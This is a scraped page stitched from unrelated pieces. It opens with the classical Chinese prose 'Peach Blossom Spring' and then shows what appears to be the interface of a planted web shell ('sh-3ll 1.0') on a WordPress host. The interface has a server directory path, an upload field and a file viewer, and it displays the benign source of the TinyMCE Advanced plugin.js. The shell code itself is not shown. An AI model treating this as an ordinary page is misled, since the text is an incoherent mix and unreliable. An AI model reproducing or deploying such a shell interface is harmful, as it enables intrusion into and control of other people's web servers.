晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/salvufkx/homedir/www/wp-content/plugins/tinymce-advanced/mce/wptadv/
Upload File :
Current File : //home/salvufkx/homedir/www/wp-content/plugins/tinymce-advanced/mce/wptadv/plugin.js
/**
 * This file is part of the TinyMCE Advanced WordPress plugin and is released under the same license.
 * For more information please see tinymce-advanced.php.
 *
 * Copyright (c) 2007-2016 Andrew Ozz. All rights reserved.
 */
( function( tinymce ) {
	tinymce.PluginManager.add( 'wptadv', function( editor ) {
		var regex = editor.settings.tadv_oembed_regex || [
			new RegExp('https?://(www\\.)?youtube\\.com/(watch|playlist).*', 'i'),
			new RegExp('https?://youtu.be/.*', 'i'),
			new RegExp('https?://blip.tv/.*', 'i'),
			new RegExp('https?://(www\\.)?vimeo\\.com/.*', 'i'),
			new RegExp('https?://(www\\.)?dailymotion\\.com/.*', 'i'),
			new RegExp('https?://dai.ly/.*', 'i'),
			new RegExp('https?://(www\\.)?flickr\\.com/.*', 'i'),
			new RegExp('https?://flic.kr/.*', 'i'),
			new RegExp('https?://(.+\\.)?smugmug\\.com/.*', 'i'),
			new RegExp('https?://(www\\.)?hulu\\.com/watch/.*', 'i'),
			new RegExp('https?://(www\\.)?viddler\\.com/.*', 'i'),
			new RegExp('https?://qik.com/.*', 'i'),
			new RegExp('https?://revision3.com/.*', 'i'),
			new RegExp('https?://i*.photobucket.com/albums/.*', 'i'),
			new RegExp('https?://gi*.photobucket.com/groups/.*', 'i'),
			new RegExp('https?://(www\\.)?scribd\\.com/.*', 'i'),
			new RegExp('https?://wordpress.tv/.*', 'i'),
			new RegExp('https?://(.+\\.)?polldaddy\\.com/.*', 'i'),
			new RegExp('https?://poll\\.fm/.*', 'i'),
			new RegExp('https?://(www\\.)?funnyordie\\.com/videos/.*', 'i'),
			new RegExp('https?://(www\\.)?twitter\\.com/.+?/status(es)?/.*', 'i'),
			new RegExp('https?://vine\\.co/v/.*', 'i'),
			new RegExp('https?://(www\\.)?soundcloud\\.com/.*', 'i'),
			new RegExp('https?://(www\\.)?slideshare\\.net/.*', 'i'),
			new RegExp('https?://instagr(\\.am|am\\.com)/p/.*', 'i'),
			new RegExp('https?://(www\\.)?rdio\\.com/.*', 'i'),
			new RegExp('https?://rd\\.io/x/.*', 'i'),
			new RegExp('https?://(open|play)\\.spotify\\.com/.*', 'i'),
			new RegExp('https?://(.+\\.)?imgur\\.com/.*', 'i'),
			new RegExp('https?://(www\\.)?meetu(\\.ps|p\\.com)/.*', 'i'),
			new RegExp('https?://(www\\.)?issuu\\.com/.+/docs/.*', 'i'),
			new RegExp('https?://(www\\.)?collegehumor\\.com/video/.*', 'i'),
			new RegExp('https?://(www\\.)?mixcloud\\.com/.*', 'i'),
			new RegExp('https?://(www\\.|embed\\.)?ted\\.com/talks/.*', 'i'),
			new RegExp('https?://(www\\.)(animoto|video214)\\.com/play/.*', 'i'),
			new RegExp('https?://(.+)\.tumblr\.com/post/.*', 'i'),
			new RegExp('https?://(www\.)?kickstarter\.com/projects/.*', 'i'),
			new RegExp('https?://kck\.st/.*', 'i')
		];

		var noAutop = ( ! editor.settings.wpautop && editor.settings.tadv_noautop );

		function addLineBreaks( html ) {
			var blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
				'|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
				'|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';
			
			html = html.replace( new RegExp( '<(?:' + blocklist + ')(?: [^>]*)?>', 'gi' ), '\n$&' );
			html = html.replace( new RegExp( '</(?:' + blocklist + ')>', 'gi' ), '$&\n' );
			html = html.replace( /(<br(?: [^>]*)?>)[\r\n\t]*/gi, '$1\n' );
			html = html.replace( />\n[\r\n\t]+</g, '>\n<' );
			html = html.replace( /^<li/gm, '\t<li' );
			html = html.replace( /<td>\u00a0<\/td>/g, '<td>&nbsp;</td>' );
	
			return tinymce.trim( html );
		}

		editor.on( 'init', function() {
			if ( noAutop ) {
				editor.on( 'SaveContent', function( event ) {
					if ( editor.settings.tadv_noautop2 ) {
						event.content = event.content.replace( /<p>\s*(https?:\/\/[^<>\s]+)\s*<\/p>/ig, function( all, match ) {
							for( var i in regex ) {
								if ( regex[i].test( match ) ) {
									return match + '\n\n';
								}
							}
							return all;
						});
					}

					event.content = event.content.replace( /caption\](\s|<br[^>]*>|<p>&nbsp;<\/p>)*\[caption/g, 'caption] [caption' );

					event.content = event.content.replace( /<(object|audio|video)[\s\S]+?<\/\1>/g, function( match ) {
						return match.replace( /[\r\n\t ]+/g, ' ' );
					});

					event.content = event.content.replace( /<pre( [^>]*)?>[\s\S]+?<\/pre>/g, function( match ) {
						match = match.replace( /<br ?\/?>(\r\n|\n)?/g, '\n' );
						return match.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '\n' );
					});

					event.content = addLineBreaks( event.content );
				});
			}

			try {
				if ( editor.plugins.searchreplace && ! editor.controlManager.buttons.searchreplace ) {
					editor.shortcuts.remove( 'meta+f' );
				}
			} catch ( er ) {}
		});

		if ( noAutop ) {
			editor.on( 'beforeSetContent', function( event ) {
				var autop = typeof window.wp !== 'undefined' && window.wp.editor && window.wp.editor.autop;

				if ( event.load && autop && event.content && event.content.indexOf( '\n' ) > -1 && ! /<p>/i.test( event.content ) ) {
					event.content = autop( event.content );
				}
			}, true );
		}

		editor.on( 'beforeGetContent', function( event ) {
			if ( event.format !== 'raw' ) {
				editor.$( 'img[id="__wp-temp-img-id"]' ).attr( 'id', null );
			}	
		});

		return {
			addLineBreaks: addLineBreaks
		};
	});
}( window.tinymce ));